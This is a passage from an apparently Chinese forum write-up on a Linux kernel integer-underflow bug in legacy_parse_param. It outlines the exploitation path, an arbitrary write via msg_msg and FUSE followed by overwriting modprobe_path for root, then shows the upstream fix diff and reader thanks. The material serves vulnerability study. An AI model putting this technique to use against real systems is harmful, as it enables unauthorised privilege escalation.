不过需要注意的是,由于 slub allocator 的随机性,**我们并不能保证一定能够溢出到陷入 FUSE 中的 msg\_msg ,**因此需要多次分配并进行检查以确保我们完成了任意地址写
有了任意地址写之后想要提权就简单得多了,漏洞发现者给出的解法是覆写 `modprobe_path` 以完成提权,算是比较常规的一种办法:)
# 0x03.漏洞修复
该漏洞在内核主线的 [这个 commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=722d94847de29310e8aa03fcbdb41fc92c521756) 当中被修复,主要就是将减法换成了加法,避免了无符号整型下溢的问题,笔者认为这个修复还是比较成功的:
```diff
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
``` 学习到了,感谢分享 感谢分享,让我学到了不少 感谢分享,能学到不错的思路 感谢大佬写的这么专业的文章 好详细呀,慢慢学习 感谢大佬 谢谢分享,学习了:lol 感谢分享!~~!!!!!!! 比较深入,学习了。
页:
[1]
2